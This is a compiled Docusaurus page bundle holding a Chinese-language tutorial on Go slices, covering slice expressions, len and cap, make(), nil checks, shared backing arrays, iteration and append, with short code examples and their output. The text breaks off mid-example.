l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5207\u7247","title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u5207\u7247","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/07.GoLang-\u5207\u7247.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5207\u7247","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5207\u7247","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/07.GoLang-\u5207\u7247.md","tags":[],"version":"current","sidebarPosition":7,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6570\u7ec4","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6570\u7ec4"},"next":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6307\u9488","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6307\u9488"}}');var s=c(74848),i=c(28453);const a={},d="Go\u8bed\u8a00\u57fa\u7840\u4e4b\u5207\u7247",r={},t=[{value:"\u5207\u7247\u7684\u5b9a\u4e49",id:"\u5207\u7247\u7684\u5b9a\u4e49",level:2},{value:"\u5207\u7247\u7684\u957f\u5ea6\u548c\u5bb9\u91cf",id:"\u5207\u7247\u7684\u957f\u5ea6\u548c\u5bb9\u91cf",level:3},{value:"\u5207\u7247\u8868\u8fbe\u5f0f",id:"\u5207\u7247\u8868\u8fbe\u5f0f",level:3},{value:"\u7b80\u5355\u5207\u7247\u8868\u8fbe\u5f0f",id:"\u7b80\u5355\u5207\u7247\u8868\u8fbe\u5f0f",level:4},{value:"\u5b8c\u6574\u5207\u7247\u8868\u8fbe\u5f0f",id:"\u5b8c\u6574\u5207\u7247\u8868\u8fbe\u5f0f",level:4},{value:"\u4f7f\u7528make()\u51fd\u6570\u6784\u9020\u5207\u7247",id:"\u4f7f\u7528make\u51fd\u6570\u6784\u9020\u5207\u7247",level:3},{value:"\u5207\u7247\u7684\u672c\u8d28",id:"\u5207\u7247\u7684\u672c\u8d28",level:3},{value:"\u5224\u65ad\u5207\u7247\u662f\u5426\u4e3a\u7a7a",id:"\u5224\u65ad\u5207\u7247\u662f\u5426\u4e3a\u7a7a",level:3},{value:"\u5207\u7247\u4e0d\u80fd\u76f4\u63a5\u6bd4\u8f83",id:"\u5207\u7247\u4e0d\u80fd\u76f4\u63a5\u6bd4\u8f83",level:2},{value:"\u5207\u7247\u7684\u8d4b\u503c\u62f7\u8d1d",id:"\u5207\u7247\u7684\u8d4b\u503c\u62f7\u8d1d",level:2},{value:"\u5207\u7247\u904d\u5386",id:"\u5207\u7247\u904d\u5386",level:2},{value:"append()\u65b9\u6cd5\u4e3a\u5207\u7247\u6dfb\u52a0\u5143\u7d20",id:"append\u65b9\u6cd5\u4e3a\u5207\u7247\u6dfb\u52a0\u5143\u7d20",level:2},{value:"\u5207\u7247\u7684\u6269\u5bb9\u7b56\u7565",id:"\u5207\u7247\u7684\u6269\u5bb9\u7b56\u7565",level:2},{value:"\u4f7f\u7528copy()\u51fd\u6570\u590d\u5236\u5207\u7247",id:"\u4f7f\u7528copy\u51fd\u6570\u590d\u5236\u5207\u7247",level:2},{value:"\u4ece\u5207\u7247\u4e2d\u5220\u9664\u5143\u7d20",id:"\u4ece\u5207\u7247\u4e2d\u5220\u9664\u5143\u7d20",level:2}];function h(n){const e={code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...n.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(e.header,{children:(0,s.jsx)(e.h1,{id:"go\u8bed\u8a00\u57fa\u7840\u4e4b\u5207\u7247",children:"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u5207\u7247"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(e.tbody,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:(0,s.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-15 00:59:42"})]})})]}),"\n",(0,s.jsx)(e.p,{children:"\u5207\u7247\uff08Slice\uff09\u662f\u4e00\u4e2a\u62e5\u6709\u76f8\u540c\u7c7b\u578b\u5143\u7d20\u7684\u53ef\u53d8\u957f\u5ea6\u7684\u5e8f\u5217\u3002\u5b83\u662f\u57fa\u4e8e\u6570\u7ec4\u7c7b\u578b\u505a\u7684\u4e00\u5c42\u5c01\u88c5\u3002\u5b83\u975e\u5e38\u7075\u6d3b\uff0c\u652f\u6301\u81ea\u52a8\u6269\u5bb9\u3002"}),"\n",(0,s.jsxs)(e.p,{children:["\u5207\u7247\u662f\u4e00\u4e2a\u5f15\u7528\u7c7b\u578b\uff0c\u5b83\u7684\u5185\u90e8\u7ed3\u6784\u5305\u542b",(0,s.jsx)(e.code,{children:"\u5730\u5740"}),"\u3001",(0,s.jsx)(e.code,{children:"\u957f\u5ea6"}),"\u548c",(0,s.jsx)(e.code,{children:"\u5bb9\u91cf"}),"\u3002\u5207\u7247\u4e00\u822c\u7528\u4e8e\u5feb\u901f\u5730\u64cd\u4f5c\u4e00\u5757\u6570\u636e\u96c6\u5408\u3002"]}),"\n",(0,s.jsx)(e.h2,{id:"\u5207\u7247\u7684\u5b9a\u4e49",children:"\u5207\u7247\u7684\u5b9a\u4e49"}),"\n",(0,s.jsx)(e.p,{children:"\u58f0\u660e\u5207\u7247\u7c7b\u578b\u7684\u57fa\u672c\u8bed\u6cd5\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"var name []T\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u5176\u4e2d\uff0c"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"name:\u8868\u793a\u53d8\u91cf\u540d"}),"\n",(0,s.jsx)(e.li,{children:"T:\u8868\u793a\u5207\u7247\u4e2d\u7684\u5143\u7d20\u7c7b\u578b"}),"\n"]}),"\n",(0,s.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func main() {\n\t// \u58f0\u660e\u5207\u7247\u7c7b\u578b\n\tvar a []string //\u58f0\u660e\u4e00\u4e2a\u5b57\u7b26\u4e32\u5207\u7247\n\tvar b = []int{} //\u58f0\u660e\u4e00\u4e2a\u6574\u578b\u5207\u7247\u5e76\u521d\u59cb\u5316\n\tvar c = []bool{false, true} //\u58f0\u660e\u4e00\u4e2a\u5e03\u5c14\u5207\u7247\u5e76\u521d\u59cb\u5316\n\tvar d = []bool{false, true} //\u58f0\u660e\u4e00\u4e2a\u5e03\u5c14\u5207\u7247\u5e76\u521d\u59cb\u5316\n\tfmt.Println(a) //[]\n\tfmt.Println(b) //[]\n\tfmt.Println(c) //[false true]\n\tfmt.Println(a == nil) //true\n\tfmt.Println(b == nil) //false\n\tfmt.Println(c == nil) //false\n\t// fmt.Println(c == d) //\u5207\u7247\u662f\u5f15\u7528\u7c7b\u578b\uff0c\u4e0d\u652f\u6301\u76f4\u63a5\u6bd4\u8f83\uff0c\u53ea\u80fd\u548cnil\u6bd4\u8f83\n}\n"})}),"\n",(0,s.jsx)(e.h3,{id:"\u5207\u7247\u7684\u957f\u5ea6\u548c\u5bb9\u91cf",children:"\u5207\u7247\u7684\u957f\u5ea6\u548c\u5bb9\u91cf"}),"\n",(0,s.jsxs)(e.p,{children:["\u5207\u7247\u62e5\u6709\u81ea\u5df1\u7684\u957f\u5ea6\u548c\u5bb9\u91cf\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u4f7f\u7528\u5185\u7f6e\u7684",(0,s.jsx)(e.code,{children:"len()"}),"\u51fd\u6570\u6c42\u957f\u5ea6\uff0c\u4f7f\u7528\u5185\u7f6e\u7684",(0,s.jsx)(e.code,{children:"cap()"}),"\u51fd\u6570\u6c42\u5207\u7247\u7684\u5bb9\u91cf\u3002"]}),"\n",(0,s.jsx)(e.h3,{id:"\u5207\u7247\u8868\u8fbe\u5f0f",children:"\u5207\u7247\u8868\u8fbe\u5f0f"}),"\n",(0,s.jsx)(e.p,{children:"\u5207\u7247\u8868\u8fbe\u5f0f\u4ece\u5b57\u7b26\u4e32\u3001\u6570\u7ec4\u3001\u6307\u5411\u6570\u7ec4\u6216\u5207\u7247\u7684\u6307\u9488\u6784\u9020\u5b50\u5b57\u7b26\u4e32\u6216\u5207\u7247\u3002\u5b83\u6709\u4e24\u79cd\u53d8\u4f53\uff1a\u4e00\u79cd\u6307\u5b9alow\u548chigh\u4e24\u4e2a\u7d22\u5f15\u754c\u9650\u503c\u7684\u7b80\u5355\u7684\u5f62\u5f0f\uff0c\u53e6\u4e00\u79cd\u662f\u9664\u4e86low\u548chigh\u7d22\u5f15\u754c\u9650\u503c\u5916\u8fd8\u6307\u5b9a\u5bb9\u91cf\u7684\u5b8c\u6574\u7684\u5f62\u5f0f\u3002"}),"\n",(0,s.jsx)(e.h4,{id:"\u7b80\u5355\u5207\u7247\u8868\u8fbe\u5f0f",children:"\u7b80\u5355\u5207\u7247\u8868\u8fbe\u5f0f"}),"\n",(0,s.jsxs)(e.p,{children:["\u5207\u7247\u7684\u5e95\u5c42\u5c31\u662f\u4e00\u4e2a\u6570\u7ec4\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u57fa\u4e8e\u6570\u7ec4\u901a\u8fc7\u5207\u7247\u8868\u8fbe\u5f0f\u5f97\u5230\u5207\u7247\u3002 \u5207\u7247\u8868\u8fbe\u5f0f\u4e2d\u7684",(0,s.jsx)(e.code,{children:"low"}),"\u548c",(0,s.jsx)(e.code,{children:"high"}),"\u8868\u793a\u4e00\u4e2a\u7d22\u5f15\u8303\u56f4\uff08\u5de6\u5305\u542b\uff0c\u53f3\u4e0d\u5305\u542b\uff09\uff0c\u4e5f\u5c31\u662f\u4e0b\u9762\u4ee3\u7801\u4e2d\u4ece\u6570\u7ec4a\u4e2d\u9009\u51fa",(0,s.jsx)(e.code,{children:"1<=\u7d22\u5f15\u503c<4"}),"\u7684\u5143\u7d20\u7ec4\u6210\u5207\u7247s\uff0c\u5f97\u5230\u7684\u5207\u7247",(0,s.jsx)(e.code,{children:"\u957f\u5ea6=high-low"}),"\uff0c\u5bb9\u91cf\u7b49\u4e8e\u5f97\u5230\u7684\u5207\u7247\u7684\u5e95\u5c42\u6570\u7ec4\u7684\u5bb9\u91cf\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'func main() {\n\ta := [5]int{1, 2, 3, 4, 5}\n\ts := a[1:3] // s := a[low:high]\n\tfmt.Printf("s:%v len(s):%v cap(s):%v\\n", s, len(s), cap(s))\n}\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u8f93\u51fa\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"s:[2 3] len(s):2 cap(s):4\n"})}),"\n",(0,s.jsxs)(e.p,{children:["\u4e3a\u4e86\u65b9\u4fbf\u8d77\u89c1\uff0c\u53ef\u4ee5\u7701\u7565\u5207\u7247\u8868\u8fbe\u5f0f\u4e2d\u7684\u4efb\u4f55\u7d22\u5f15\u3002\u7701\u7565\u4e86",(0,s.jsx)(e.code,{children:"low"}),"\u5219\u9ed8\u8ba4\u4e3a0\uff1b\u7701\u7565\u4e86",(0,s.jsx)(e.code,{children:"high"}),"\u5219\u9ed8\u8ba4\u4e3a\u5207\u7247\u64cd\u4f5c\u6570\u7684\u957f\u5ea6:"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"a[2:] // \u7b49\u540c\u4e8e a[2:len(a)]\na[:3] // \u7b49\u540c\u4e8e a[0:3]\na[:] // \u7b49\u540c\u4e8e a[0:len(a)]\n"})}),"\n",(0,s.jsx)(e.p,{children:(0,s.jsx)(e.strong,{children:"\u6ce8\u610f\uff1a"})}),"\n",(0,s.jsxs)(e.p,{children:["\u5bf9\u4e8e\u6570\u7ec4\u6216\u5b57\u7b26\u4e32\uff0c\u5982\u679c",(0,s.jsx)(e.code,{children:"0 <= low <= high <= len(a)"}),"\uff0c\u5219\u7d22\u5f15\u5408\u6cd5\uff0c\u5426\u5219\u5c31\u4f1a\u7d22\u5f15\u8d8a\u754c\uff08out of range\uff09\u3002"]}),"\n",(0,s.jsxs)(e.p,{children:["\u5bf9\u5207\u7247\u518d\u6267\u884c\u5207\u7247\u8868\u8fbe\u5f0f\u65f6\uff08\u5207\u7247\u518d\u5207\u7247\uff09\uff0c",(0,s.jsx)(e.code,{children:"high"}),"\u7684\u4e0a\u9650\u8fb9\u754c\u662f\u5207\u7247\u7684\u5bb9\u91cf",(0,s.jsx)(e.code,{children:"cap(a)"}),"\uff0c\u800c\u4e0d\u662f\u957f\u5ea6\u3002",(0,s.jsx)(e.strong,{children:"\u5e38\u91cf\u7d22\u5f15"}),"\u5fc5\u987b\u662f\u975e\u8d1f\u7684\uff0c\u5e76\u4e14\u53ef\u4ee5\u7528int\u7c7b\u578b\u7684\u503c\u8868\u793a;\u5bf9\u4e8e\u6570\u7ec4\u6216\u5e38\u91cf\u5b57\u7b26\u4e32\uff0c\u5e38\u91cf\u7d22\u5f15\u4e5f\u5fc5\u987b\u5728\u6709\u6548\u8303\u56f4\u5185\u3002\u5982\u679c",(0,s.jsx)(e.code,{children:"low"}),"\u548c",(0,s.jsx)(e.code,{children:"high"}),"\u4e24\u4e2a\u6307\u6807\u90fd\u662f\u5e38\u6570\uff0c\u5b83\u4eec\u5fc5\u987b\u6ee1\u8db3",(0,s.jsx)(e.code,{children:"low <= high"}),"\u3002\u5982\u679c\u7d22\u5f15\u5728\u8fd0\u884c\u65f6\u8d85\u51fa\u8303\u56f4\uff0c\u5c31\u4f1a\u53d1\u751f\u8fd0\u884c\u65f6",(0,s.jsx)(e.code,{children:"panic"}),"\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'func main() {\n\ta := [5]int{1, 2, 3, 4, 5}\n\ts := a[1:3] // s := a[low:high]\n\tfmt.Printf("s:%v len(s):%v cap(s):%v\\n", s, len(s), cap(s))\n\ts2 := s[3:4] // \u7d22\u5f15\u7684\u4e0a\u9650\u662fcap(s)\u800c\u4e0d\u662flen(s)\n\tfmt.Printf("s2:%v len(s2):%v cap(s2):%v\\n", s2, len(s2), cap(s2))\n}\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u8f93\u51fa\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"s:[2 3] len(s):2 cap(s):4\ns2:[5] len(s2):1 cap(s2):1\n"})}),"\n",(0,s.jsx)(e.h4,{id:"\u5b8c\u6574\u5207\u7247\u8868\u8fbe\u5f0f",children:"\u5b8c\u6574\u5207\u7247\u8868\u8fbe\u5f0f"}),"\n",(0,s.jsxs)(e.p,{children:["\u5bf9\u4e8e\u6570\u7ec4\uff0c\u6307\u5411\u6570\u7ec4\u7684\u6307\u9488\uff0c\u6216\u5207\u7247a(",(0,s.jsx)(e.strong,{children:"\u6ce8\u610f\u4e0d\u80fd\u662f\u5b57\u7b26\u4e32"}),")\u652f\u6301\u5b8c\u6574\u5207\u7247\u8868\u8fbe\u5f0f\uff1a"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"a[low : high : max]\n"})}),"\n",(0,s.jsxs)(e.p,{children:["\u4e0a\u9762\u7684\u4ee3\u7801\u4f1a\u6784\u9020\u4e0e\u7b80\u5355\u5207\u7247\u8868\u8fbe\u5f0f",(0,s.jsx)(e.code,{children:"a[low: high]"}),"\u76f8\u540c\u7c7b\u578b\u3001\u76f8\u540c\u957f\u5ea6\u548c\u5143\u7d20\u7684\u5207\u7247\u3002\u53e6\u5916\uff0c\u5b83\u4f1a\u5c06\u5f97\u5230\u7684\u7ed3\u679c\u5207\u7247\u7684\u5bb9\u91cf\u8bbe\u7f6e\u4e3a",(0,s.jsx)(e.code,{children:"max-low"}),"\u3002\u5728\u5b8c\u6574\u5207\u7247\u8868\u8fbe\u5f0f\u4e2d\u53ea\u6709\u7b2c\u4e00\u4e2a\u7d22\u5f15\u503c\uff08low\uff09\u53ef\u4ee5\u7701\u7565\uff1b\u5b83\u9ed8\u8ba4\u4e3a0\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:'func main() {\n\ta := [5]int{1, 2, 3, 4, 5}\n\tt := a[1:3:5]\n\tfmt.Printf("t:%v len(t):%v cap(t):%v\\n", t, len(t), cap(t))\n}\n'})}),"\n",(0,s.jsx)(e.p,{children:"\u8f93\u51fa\u7ed3\u679c\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"t:[2 3] len(t):2 cap(t):4\n"})}),"\n",(0,s.jsxs)(e.p,{children:["\u5b8c\u6574\u5207\u7247\u8868\u8fbe\u5f0f\u9700\u8981\u6ee1\u8db3\u7684\u6761\u4ef6\u662f",(0,s.jsx)(e.code,{children:"0 <= low <= high <= max <= cap(a)"}),"\uff0c\u5176\u4ed6\u6761\u4ef6\u548c\u7b80\u5355\u5207\u7247\u8868\u8fbe\u5f0f\u76f8\u540c\u3002"]}),"\n",(0,s.jsx)(e.h3,{id:"\u4f7f\u7528make\u51fd\u6570\u6784\u9020\u5207\u7247",children:"\u4f7f\u7528make()\u51fd\u6570\u6784\u9020\u5207\u7247"}),"\n",(0,s.jsxs)(e.p,{children:["\u6211\u4eec\u4e0a\u9762\u90fd\u662f\u57fa\u4e8e\u6570\u7ec4\u6765\u521b\u5efa\u7684\u5207\u7247\uff0c\u5982\u679c\u9700\u8981\u52a8\u6001\u7684\u521b\u5efa\u4e00\u4e2a\u5207\u7247\uff0c\u6211\u4eec\u5c31\u9700\u8981\u4f7f\u7528\u5185\u7f6e\u7684",(0,s.jsx)(e.code,{children:"make()"}),"\u51fd\u6570\uff0c\u683c\u5f0f\u5982\u4e0b\uff1a"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-bash",children:"make([]T, size, cap)\n"})}),"\n",(0,s.jsx)(e.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,s.jsxs)(e.ul,{children:["\n",(0,s.jsx)(e.li,{children:"T:\u5207\u7247\u7684\u5143\u7d20\u7c7b\u578b"}),"\n",(0,s.jsx)(e.li,{children:"size:\u5207\u7247\u4e2d\u5143\u7d20\u7684\u6570\u91cf"}),"\n",(0,s.jsx)(e.li,{children:"cap:\u5207\u7247\u7684\u5bb9\u91cf"}),"\n"]}),"\n",(0,s.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func main() {\n\ta := make([]int, 2, 10)\n\tfmt.Println(a) //[0 0]\n\tfmt.Println(len(a)) //2\n\tfmt.Println(cap(a)) //10\n}\n"})}),"\n",(0,s.jsxs)(e.p,{children:["\u4e0a\u9762\u4ee3\u7801\u4e2d",(0,s.jsx)(e.code,{children:"a"}),"\u7684\u5185\u90e8\u5b58\u50a8\u7a7a\u95f4\u5df2\u7ecf\u5206\u914d\u4e8610\u4e2a\uff0c\u4f46\u5b9e\u9645\u4e0a\u53ea\u7528\u4e862\u4e2a\u3002 \u5bb9\u91cf\u5e76\u4e0d\u4f1a\u5f71\u54cd\u5f53\u524d\u5143\u7d20\u7684\u4e2a\u6570\uff0c\u6240\u4ee5",(0,s.jsx)(e.code,{children:"len(a)"}),"\u8fd4\u56de2\uff0c",(0,s.jsx)(e.code,{children:"cap(a)"}),"\u5219\u8fd4\u56de\u8be5\u5207\u7247\u7684\u5bb9\u91cf\u3002"]}),"\n",(0,s.jsx)(e.h3,{id:"\u5207\u7247\u7684\u672c\u8d28",children:"\u5207\u7247\u7684\u672c\u8d28"}),"\n",(0,s.jsx)(e.p,{children:"\u5207\u7247\u7684\u672c\u8d28\u5c31\u662f\u5bf9\u5e95\u5c42\u6570\u7ec4\u7684\u5c01\u88c5\uff0c\u5b83\u5305\u542b\u4e86\u4e09\u4e2a\u4fe1\u606f\uff1a\u5e95\u5c42\u6570\u7ec4\u7684\u6307\u9488\u3001\u5207\u7247\u7684\u957f\u5ea6\uff08len\uff09\u548c\u5207\u7247\u7684\u5bb9\u91cf\uff08cap\uff09\u3002"}),"\n",(0,s.jsxs)(e.p,{children:["\u4e3e\u4e2a\u4f8b\u5b50\uff0c\u73b0\u5728\u6709\u4e00\u4e2a\u6570\u7ec4",(0,s.jsx)(e.code,{children:"a := [8]int{0, 1, 2, 3, 4, 5, 6, 7}"}),"\uff0c\u5207\u7247",(0,s.jsx)(e.code,{children:"s1 := a[:5]"}),"\uff0c\u76f8\u5e94\u793a\u610f\u56fe\u5982\u4e0b\u3002",(0,s.jsx)(e.img,{alt:"slice_01",src:c(890).A+"",width:"1598",height:"758"}),"\u5207\u7247",(0,s.jsx)(e.code,{children:"s2 := a[3:6]"}),"\uff0c\u76f8\u5e94\u793a\u610f\u56fe\u5982\u4e0b\uff1a",(0,s.jsx)(e.img,{alt:"slice_02",src:c(22001).A+"",width:"1598",height:"758"})]}),"\n",(0,s.jsx)(e.h3,{id:"\u5224\u65ad\u5207\u7247\u662f\u5426\u4e3a\u7a7a",children:"\u5224\u65ad\u5207\u7247\u662f\u5426\u4e3a\u7a7a"}),"\n",(0,s.jsxs)(e.p,{children:["\u8981\u68c0\u67e5\u5207\u7247\u662f\u5426\u4e3a\u7a7a\uff0c\u8bf7\u59cb\u7ec8\u4f7f\u7528",(0,s.jsx)(e.code,{children:"len(s) == 0"}),"\u6765\u5224\u65ad\uff0c\u800c\u4e0d\u5e94\u8be5\u4f7f\u7528",(0,s.jsx)(e.code,{children:"s == nil"}),"\u6765\u5224\u65ad\u3002"]}),"\n",(0,s.jsx)(e.h2,{id:"\u5207\u7247\u4e0d\u80fd\u76f4\u63a5\u6bd4\u8f83",children:"\u5207\u7247\u4e0d\u80fd\u76f4\u63a5\u6bd4\u8f83"}),"\n",(0,s.jsxs)(e.p,{children:["\u5207\u7247\u4e4b\u95f4\u662f\u4e0d\u80fd\u6bd4\u8f83\u7684\uff0c\u6211\u4eec\u4e0d\u80fd\u4f7f\u7528",(0,s.jsx)(e.code,{children:"=="}),"\u64cd\u4f5c\u7b26\u6765\u5224\u65ad\u4e24\u4e2a\u5207\u7247\u662f\u5426\u542b\u6709\u5168\u90e8\u76f8\u7b49\u5143\u7d20\u3002 \u5207\u7247\u552f\u4e00\u5408\u6cd5\u7684\u6bd4\u8f83\u64cd\u4f5c\u662f\u548c",(0,s.jsx)(e.code,{children:"nil"}),"\u6bd4\u8f83\u3002 \u4e00\u4e2a",(0,s.jsx)(e.code,{children:"nil"}),"\u503c\u7684\u5207\u7247\u5e76\u6ca1\u6709\u5e95\u5c42\u6570\u7ec4\uff0c\u4e00\u4e2a",(0,s.jsx)(e.code,{children:"nil"}),"\u503c\u7684\u5207\u7247\u7684\u957f\u5ea6\u548c\u5bb9\u91cf\u90fd\u662f0\u3002\u4f46\u662f\u6211\u4eec\u4e0d\u80fd\u8bf4\u4e00\u4e2a\u957f\u5ea6\u548c\u5bb9\u91cf\u90fd\u662f0\u7684\u5207\u7247\u4e00\u5b9a\u662f",(0,s.jsx)(e.code,{children:"nil"}),"\uff0c\u4f8b\u5982\u4e0b\u9762\u7684\u793a\u4f8b\uff1a"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"var s1 []int //len(s1)=0;cap(s1)=0;s1==nil\ns2 := []int{} //len(s2)=0;cap(s2)=0;s2!=nil\ns3 := make([]int, 0) //len(s3)=0;cap(s3)=0;s3!=nil\n"})}),"\n",(0,s.jsxs)(e.p,{children:["\u6240\u4ee5\u8981\u5224\u65ad\u4e00\u4e2a\u5207\u7247\u662f\u5426\u662f\u7a7a\u7684\uff0c\u8981\u662f\u7528",(0,s.jsx)(e.code,{children:"len(s) == 0"}),"\u6765\u5224\u65ad\uff0c\u4e0d\u5e94\u8be5\u4f7f\u7528",(0,s.jsx)(e.code,{children:"s == nil"}),"\u6765\u5224\u65ad\u3002"]}),"\n",(0,s.jsx)(e.h2,{id:"\u5207\u7247\u7684\u8d4b\u503c\u62f7\u8d1d",children:"\u5207\u7247\u7684\u8d4b\u503c\u62f7\u8d1d"}),"\n",(0,s.jsx)(e.p,{children:"\u4e0b\u9762\u7684\u4ee3\u7801\u4e2d\u6f14\u793a\u4e86\u62f7\u8d1d\u524d\u540e\u4e24\u4e2a\u53d8\u91cf\u5171\u4eab\u5e95\u5c42\u6570\u7ec4\uff0c\u5bf9\u4e00\u4e2a\u5207\u7247\u7684\u4fee\u6539\u4f1a\u5f71\u54cd\u53e6\u4e00\u4e2a\u5207\u7247\u7684\u5185\u5bb9\uff0c\u8fd9\u70b9\u9700\u8981\u7279\u522b\u6ce8\u610f\u3002"}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func main() {\n\ts1 := make([]int, 3) //[0 0 0]\n\ts2 := s1 //\u5c06s1\u76f4\u63a5\u8d4b\u503c\u7ed9s2\uff0cs1\u548cs2\u5171\u7528\u4e00\u4e2a\u5e95\u5c42\u6570\u7ec4\n\ts2[0] = 100\n\tfmt.Println(s1) //[100 0 0]\n\tfmt.Println(s2) //[100 0 0]\n}\n"})}),"\n",(0,s.jsx)(e.h2,{id:"\u5207\u7247\u904d\u5386",children:"\u5207\u7247\u904d\u5386"}),"\n",(0,s.jsxs)(e.p,{children:["\u5207\u7247\u7684\u904d\u5386\u65b9\u5f0f\u548c\u6570\u7ec4\u662f\u4e00\u81f4\u7684\uff0c\u652f\u6301\u7d22\u5f15\u904d\u5386\u548c",(0,s.jsx)(e.code,{children:"for range"}),"\u904d\u5386\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func main() {\n\ts := []int{1, 3, 5}\n\n\tfor i := 0; i < len(s); i++ {\n\t\tfmt.Println(i, s[i])\n\t}\n\n\tfor index, value := range s {\n\t\tfmt.Println(index, value)\n\t}\n}\n"})}),"\n",(0,s.jsx)(e.h2,{id:"append\u65b9\u6cd5\u4e3a\u5207\u7247\u6dfb\u52a0\u5143\u7d20",children:"append()\u65b9\u6cd5\u4e3a\u5207\u7247\u6dfb\u52a0\u5143\u7d20"}),"\n",(0,s.jsxs)(e.p,{children:["Go\u8bed\u8a00\u7684\u5185\u5efa\u51fd\u6570",(0,s.jsx)(e.code,{children:"append()"}),"\u53ef\u4ee5\u4e3a\u5207\u7247\u52a8\u6001\u6dfb\u52a0\u5143\u7d20\u3002 \u53ef\u4ee5\u4e00\u6b21\u6dfb\u52a0\u4e00\u4e2a\u5143\u7d20\uff0c\u53ef\u4ee5\u6dfb\u52a0\u591a\u4e2a\u5143\u7d20\uff0c\u4e5f\u53ef\u4ee5\u6dfb\u52a0\u53e6\u4e00\u4e2a\u5207\u7247\u4e2d\u7684\u5143\u7d20\uff08\u540e\u9762\u52a0\u2026\uff09\u3002"]}),"\n",(0,s.jsx)(e.pre,{children:(0,s.jsx)(e.code,{className:"language-go",children:"func main(){\n\tvar s []int\n\ts = append(s, 1) // [1]\n\ts = append(s, 2, 3, 4) // [1 2 3 4]\n\ts2 := []int{5, 6, 7} \n\ts = append(s, s2...) // [1 2 3 4 5 6 